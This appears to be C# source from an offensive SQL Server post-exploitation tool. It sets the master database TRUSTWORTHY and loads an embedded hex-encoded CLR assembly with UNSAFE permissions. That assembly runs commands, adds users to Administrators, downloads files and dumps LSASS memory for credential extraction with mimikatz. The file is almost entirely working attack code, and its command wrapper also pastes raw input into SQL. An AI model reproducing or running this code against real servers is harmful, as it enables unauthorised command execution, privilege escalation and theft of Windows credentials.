/// <summary> /// CREATE PROCEDURE /// </summary> /// <returns></returns> public void CREATE_PROCEDURE() { Command = String.Format(@"CREATE PROCEDURE [dbo].[ClrExec] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]"); Batch.CLRExec(Conn, Command); }
/// <summary> /// CREATE ASSEMBLY /// </summary> /// <returns></returns> public void CREATE_ASSEMBLY() { Command = String.Format(@"CREATE ASSEMBLY [CLR_module] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C01030019F7FB5F0000000000000000E00002210B010B00002000000006000000000000AE3E0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000583E00005300000000400000B002000000000000000000000000000000000000006000000C000000203D00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000B41E0000002000000020000000020000000000000000000000000000200000602E72737263000000B0020000004000000004000000220000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000002600000000000000000000000000004000004200000000000000000000000000000000903E000000000000480000000200050098260000881600000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000133004006D000000010000111200FE15040000021200047D020000041200057D030000041200177D050000041200147D0600000412000E047D070000041200147D090000040317120016280100000616FE0116FE010B072C10280600000A72010000706F0700000A2A280600000A722D0000706F0700000A2A0000001330050045000000020000111200FE15030000021200057D01000004030419120017280200000616FE0116FE010B072C10280600000A725D0000706F0700000A2A280600000A72990000706F0700000A2A1E02280800000A2A00000013300500200000000300001173050000060A72D90000700B06140203146F03000006061407026F040000062A1E02280800000A2A1B300400890000000400001102280A00000A74100000010A066F0B00000A74120000010B076F0C00000A0C0318730D00000A0D20000400008D1600000113040811041611048E696F0E00000A13052B1A0911041611056F0F00000A0811041611048E696F0E00000A130511051630E1096F1000000A086F1000000A076F1100000A066F1200000A171306DE0626161306DE0011062A00000001100000000000008080000617000001A6020328080000062C10280600000A72F70000706F0700000A2A280600000A72210100706F0700000A2A1E02280800000A2A0000133002001900000005000011281300000A0A06731400000A0B0720200200006F1500000A2A0000001B3004007E0000000600001103281600000A2C1B280600000A724501007003281700000A6F0700000A03281800000A02281900000A0A0317730D00000A0B071716731A00000A0C080616068E696F0F00000ADE0A082C06086F1B00000ADCDE0A072C06076F1B00000ADCDE1D0D280600000A72A3010070096F1C00000A281700000A6F0700000ADE002A00000128000002003B000D48000A00000000020032002254000A00000000000000006060001D170000011B30070059020000070000117E1D00000A0A160B140C0215331172F7010070281E00000A0D09169A0C2B2802281F00000A0CDE1F1304280600000A720302007011046F1C00000A281700000A6F0700000ADE28086F2000000A72F7010070282100000A2C17280C0000062D10280600000A722B0200706F0700000A2A086F2200000A0B086F2300000A0ADE301305280600000A728D020070086F2000000A086F2200000A8C2200000111056F1C00000A282400000A6F0700000ADEBF16130672E7020070282500000A130772FD0200701107078C24000001282600000A130872290300701107078C24000001282600000A1309280600000A7255030070086F2000000A086F2200000A8C220000011108282400000A6F0700000A1108181918732700000A130A0607110A6F2800000A187E1D00000A7E1D00000A7E1D00000A280B0000061306DE0C110A2C07110A6F1B00000ADC110639EE000000280600000A72910300706F0700000A280600000A72BB03007011081109282600000A6F0700000A11081109280D000006280600000A72070400701108281700000A6F0700000A1108281800000A280600000A7229040070078C24000001281700000A6F0700000A72B2040070282500000A130B72E0040070130C7E2900000A72E20400706F2A00000A130D110D2C18723C050070110D72440500706F2B00000A281700000A130C0215335E280600000A725C050070110C281700000A6F0700000A280600000A7294050070110B281700000A6F0700000A280600000A72CA050070110B281700000A6F0700000A2A280600000A728306007011068C2A000001281700000A6F0700000A2A0000000128000000001F000928001F1700000100007000108000301700000102001A01223C010C00000000133003003C0000000800001172E7020070282500000A0A72AD06007006281700000A0B07282C00000A2D16280600000A72C106007007281700000A6F0700000A2A15280E0000062A1E02280800000A2A133004008F000000090000110272150700706F2E00000A2C06280F0000062A0272310700706F2E00000A2C2702178D2D00000113061106161F209D11066F2F00000A0A06179A0B06189A0C070828060000062A0272490700706F2E00000A2C2B02178D2D00000113071107161F209D11076F2F00000A0D09179A130409189A13051104110528090000062A280600000A72630700706F0700000A2A1E02280800000A2A0042534A4201000100000000000C00000076322E302E35303732370000000005006C000000A8050000237E0000140600000C07000023537472696E677300000000200D00008007000023555300A0140000100000002347554944000000B0140000D801000023426C6F620000000000000002000001573D02140902000000FA253300160000010000002D000000080000000900000012000000210000002F00000001000000040000000300000009000000020000000300000001000000030000000200000000000A0001000000000006009B0094000600A200940006009C017D010600EE017D01060001027D010600F902E6021B000D03000006003C031C0306005C031C0306007A037D010A00C103A6030A00CC03A6030600E2037D010600F8037D010E000E0403040E00200403040E002F0403040E004704030406006104570406007A04570406008504570406008E0494000600AA0494000600DA04C0040600F504C00406000605C00406002205570406002E0594000E00660550050E00710550050600810594000600A10594000E00AD05E60206000506940006000B06940006002E069400060035065704060040065704060066064A060600980688060600A10688060600CE0694000600D60657040A00E006A6030600FF06940000000000010000000000010001000100100019002E000500010001000A011100390000000900010006000A01110053000000090002000600000010005F002E0005000A0006000000100067002E0005000A0008000000100070002E0005000A000B00010010007A00000005000A0011000600ED0032000600FB00320006000601320006001501350006002801350006003301320006004201320006004A0135000600560132000000000080009120AC000A0001000000000080009120B700140005005020000000008600CF001F000A00CC20000000008600D70027000E001D21000000008618E7002E00110028210000000096006801380011005421000000008618E7002E0013005C210000000096006C013E00130004220000000096007901380015002E22000000008618E7002E0017000000000080009120A701440017003822000000009600B90150001E006022000000009600C90138001E001423000000009600D20154002000A425000000009600790159002100EC25000000008618E7002E002100F425000000009600DB015D0021008F26000000008618E7002E00220000200100E301000002000F0200000300150200000400190200200100E301002002002202000003000F02000004001502000005002C02000001003902000002004402000003004D02000004005602000001003902000002006102000003004402000001004402000002004D02000001006B02000002006F02000001007802000002007C02000001008602000002008F02000003009902000004009F0200000500A80200000600B10200000700C10200000100CF0200000200D60210100100DE0200000100E2022100E70062003100E7006F004100E70075004900E7002E005100E7007A005900D4037F006100DD037A000900E7002E006900E7009000790019049C0079003B04A20089006804A700A100E700AC0099009304B30099009804BB0099009E042E0089009E042E007900A4042E00C100EA04D200C900E700D700C9001905DD00D9002705EA00E1003505EF00D9003C055D00D9004305F500E900E700FB00F9008D052E00B900950504010101A80513010901B50516010901C8051E010901D7050401E100E7053E000901F30525010901FA052901E10035052D01190117063501E10035053A01A100E7004101A10075064E014101AD0654014901BA0659014901C506600159012705EA006101E7002E00E100F6068A01E10004078F01080081006A002E001300A5012E001B00AE012E002300B70120026B018501030068000B0068000D00680084008A009600C300E30008016501800196018D03B40400010300AC00010000010500B700010045031700A70102000480000000000000000000000000000000002E00000002000000000000000000000001008B000000000002000000000000000000000001009A03000000000200000000000000000000000100940000000000030002000400020000000000003C4D6F64756C653E00434C525F6D6F64756C652E646C6C004C6F63616C47726F75705573657248656C70657200434C525F6D6F64756C65004C4F43414C47524F55505F4D454D424552535F494E464F5F3300555345525F494E464F5F31006164647573657200646F776E6C6F61640064756D706C736173730053746F72656450726F63656475726573006D73636F726C69620053797374656D004F626A6563740056616C756554797065004E657455736572416464004E65744C6F63616C47726F75704164644D656D6265727300416464557365720047726F75704164644D656D62657273002E63746F7200646F6D61696E616E646E616D650075737269315F6E616D650075737269315F70617373776F72640075737269315F70617373776F72645F6167650075737269315F707269760075737269315F686F6D655F64697200636F6D6D656E740075737269315F666C6167730075737269315F7363726970745F706174680061646400446F776E6C6F616446696C650072756E0053797374656D2E52756E74696D652E496E7465726F705365727669636573005361666548616E646C65004D696E6944756D70577269746544756D7000497348696768496E7465677269747900436F6D7072657373004D696E6964756D7000436C7245786563007365727665726E616D65004D61727368616C417341747472696275746500556E6D616E6167656454797065006C6576656C00627566007061726D5F6572720067726F75706E616D6500746F74616C656E7472696573007365727665724E616D6500757365724E616D650070617373776F726400737472436F6D6D656E740067726F75704E616D650055524C0066696C656E616D650075726C006C6F63616C70617468006850726F636573730070726F636573734964006846696C650064756D705479706500657870506172616D007573657253747265616D506172616D0063616C6C6261636B506172616D00696E46696C65006F757446696C650070696400636D640053797374656D2E446961676E6F73746963730044656275676761626C6541747472696275746500446562756767696E674D6F6465730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C69747941747472696275746500446C6C496D706F7274417474726962757465004E657461706933322E646C6C0053797374656D2E44617461004D6963726F736F66742E53716C5365727665722E5365727665720053716C436F6E746578740053716C50697065006765745F506970650053656E64005374727563744C61796F7574417474726962757465004C61796F75744B696E640053797374656D2E4E657400576562526571756573740043726561746500487474705765625265717565737400576562526573706F6E736500476574526573706F6E73650048747470576562526573706F6E73650053797374656D2E494F0053747265616D00476574526573706F6E736553747265616D0046696C6553747265616D0046696C654D6F64650042797465005265616400577269746500436C6F73650041626F727400457863657074696F6E0064626768656C702E646C6C0053797374656D2E53656375726974792E5072696E636970616C0057696E646F77734964656E746974790047657443757272656E740057696E646F77735072696E636970616C0057696E646F77734275696C74496E526F6C65004973496E526F6C650046696C650045786973747300537472696E6700466F726D61740044656C6574650052656164416C6C42797465730053797374656D2E494F2E436F6D7072657373696F6E00475A697053747265616D00436F6D7072657373696F6E4D6F64650049446973706F7361626C6500446973706F7365006765745F4D65737361676500496E74507472005A65726F0050726F636573730047657450726F63657373657342794E616D650047657450726F6365737342794964006765745F50726F636573734E616D65006F705F457175616C697479006765745F4964006765745F48616E646C6500496E74333200456E7669726F6E6D656E7400476574456E7669726F6E6D656E745661726961626C650055496E7433320046696C654163636573730046696C655368617265004D6963726F736F66742E57696E33322E5361666548616E646C6573005361666546696C6548616E646C65006765745F5361666546696C6548616E646C65004D6963726F736F66742E57696E33320052656769737472790052656769737472794B6579004C6F63616C4D616368696E65004F70656E5375624B65790047657456616C756500426F6F6C65616E004469726563746F72790053716C50726F63656475726541747472696275746500436F6E7461696E7300436861720053706C6974000000002B5B0058005D0020004500720072006F007200200041006400640069006E00670020005500730065007200002F5B002A005D00200041006400640069006E0067002000550073006500720020007300750063006300650073007300003B5B0058005D0020004500720072006F007200200041006400640069006E0067002000470072006F007500700020004D0065006D00620065007200003F5B002A005D00200041006400640069006E0067002000470072006F007500700020004D0065006D0062006500720020007300750063006300650073007300001D410064006D0069006E006900730074007200610074006F007200730000295B002A005D00200044006F0077006E006C006F00610064002000730075006300630065007300730000235B0058005D00200044006F0077006E006C006F006100640020006600610069006C00005D5B0058005D0020004F00750074007000750074002000660069006C006500200027007B0030007D002700200061006C007200650061006400790020006500780069007300740073002C002000720065006D006F00760069006E00670001535B0058005D00200045007800630065007000740069006F006E0020007700680069006C006500200063006F006D007000720065007300730069006E0067002000660069006C0065003A0020007B0030007D00000B6C00730061007300730000270A005B0058005D0045007800630065007000740069006F006E003A0020007B0030007D000A0000610A005B0058005D0020004E006F007400200069006E0020006800690067006800200069006E0074006500670072006900740079002C00200075006E00610062006C006500200074006F0020004D0069006E006900440075006D00700021000A0000590A005B0058005D0020004500720072006F0072002000670065007400740069006E0067002000680061006E0064006C006500200074006F0020007B0030007D00200028007B0031007D0029003A0020007B0032007D000A000015530079007300740065006D0052006F006F007400002B7B0030007D005C00540065006D0070005C00640065006200750067007B0031007D002E006F0075007400002B7B0030007D005C00540065006D0070005C00640065006200750067007B0031007D002E00620069006E00003B0A005B002A005D002000440075006D00700069006E00670020007B0030007D00200028007B0031007D002900200074006F0020007B0032007D0000295B002B005D002000440075006D00700020007300750063006300650073007300660075006C002100004B0A005B002A005D00200043006F006D007000720065007300730069006E00670020007B0030007D00200074006F0020007B0031007D00200067007A00690070002000660069006C00650000215B002A005D002000440065006C006500740069006E00670020007B0030007D000080870A005B002B005D002000440075006D00700069006E006700200063006F006D0070006C0065007400650064002E002000520065006E0061006D0065002000660069006C006500200074006F0020002200640065006200750067007B0030007D002E0067007A002200200074006F0020006400650063006F006D00700072006500730073002E00002D500052004F0043004500530053004F0052005F004100520043004800490054004500430054005500520045000001005953006F006600740077006100720065005C004D006900630072006F0073006F00660074005C00570069006E0064006F007700730020004E0054005C00430075007200720065006E007400560065007200730069006F006E0000077B0030007D000017500072006F0064007500630074004E0061006D00650000370A005B002A005D0020004F007000650072006100740069006E0067002000530079007300740065006D0020003A0020007B0030007D0000355B002A005D002000410072006300680069007400650063007400750072006500200020002000200020003A0020007B0030007D000080B75B002A005D00200055007300650020002200730065006B00750072006C00730061003A003A006D0069006E006900640075006D0070002000640065006200750067002E006F0075007400220020002200730065006B00750072006C00730061003A003A006C006F0067006F006E00500061007300730077006F007200640073002000660075006C006C00220020006F006E0020007400680065002000730061006D00650020004F0053002F0061007200630068000A0000295B0058005D002000440075006D00700020006600610069006C00650064003A0020007B0030007D0000137B0030007D005C00540065006D0070005C0000530A005B0058005D002000440075006D00700020006400690072006500630074006F0072007900200022007B0030007D002200200064006F00650073006E002700740020006500780069007300740021000A00011B63006C0072005F00640075006D0070006C007300610073007300001763006C0072005F006100640064007500730065007200001963006C0072005F0064006F0077006E006C006F0061006400001B43006F006D006D0061006E00640020006500720072006F0072000000B9F0CADA67ABC84DA6B2C9151907EF230008B77A5C561934E089090004080E08101110080A0005080E0E0810110C08072004010E0E0E0E062003010E0E0E0320000102060E020608050002010E0E050002020E0E0B0007021809120D0918181803000002040001010803000001040001010E052001011115011504FFFFFFFF05200101111D0420010108042001010E0400001231050702111002050702110C0205200101113905070212080E050001123D0E0420001245042000124D062002010E1155072003081D050808072003011D0508080E070712411249124D124D1D050802040000126105200101126105200102116906070212611265040001020E0500020E0E1C0500011D050E08200301124D1179020320000E0A07041D0512511275125D0206180700011D1280850E0600011280850803200008032000180700040E0E1C1C1C0400010E0E0600030E0E1C1C0C2004010E115511809511809905200012809D04061280A50620011280A50E0420011C0E1A070E18091280851D128085125D125D020E0E0E12510E0E1280A50407020E0E0401000000042001020E0620011D0E1D030E07081D0E0E0E1D0E0E0E1D031D030801000200000000000801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F77730100000000000019F7FB5F00000000020000001C0100003C3D00003C1F00005253445340ABF3844CABEB4D9649A1EE34826C4501000000643A5C6D79636F64655C536861727053514C546F6F6C735C434C522D6D6F64756C655C6F626A5C52656C656173655C434C525F6D6F64756C652E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000803E000000000000000000009E3E0000002000000000000000000000000000000000000000000000903E000000000000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF2500200010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000540200000000000000000000540234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004B4010000010053007400720069006E006700460069006C00650049006E0066006F0000009001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000040000F00010049006E007400650072006E0061006C004E0061006D006500000043004C0052005F006D006F00640075006C0065002E0064006C006C00000000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000048000F0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000043004C0052005F006D006F00640075006C0065002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000C000000B03E00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;"); Batch.CLRExec(Conn, Command); }
/// <summary> /// clr_exec 执行命令 /// </summary> /// <param name="Command">命令</param> static void clr_exec(String Command) { sqlstr = String.Format("exec dbo.ClrExec '{0}'", Command); Batch.CLRExec(Conn, sqlstr); }
/// <summary> /// drop_clr /// </summary> /// <returns></returns> public void drop_clr() { Command = String.Format(@"drop PROCEDURE dbo.ClrExec drop assembly CLR_module"); Batch.CLRExec(Conn, Command); }
/// <summary> /// 设置 permission_set /// </summary> /// <returns></returns> public void Set_permission_set() { Command = String.Format("ALTER DATABASE master SET TRUSTWORTHY ON;"); Batch.CLRExec(Conn, Command); }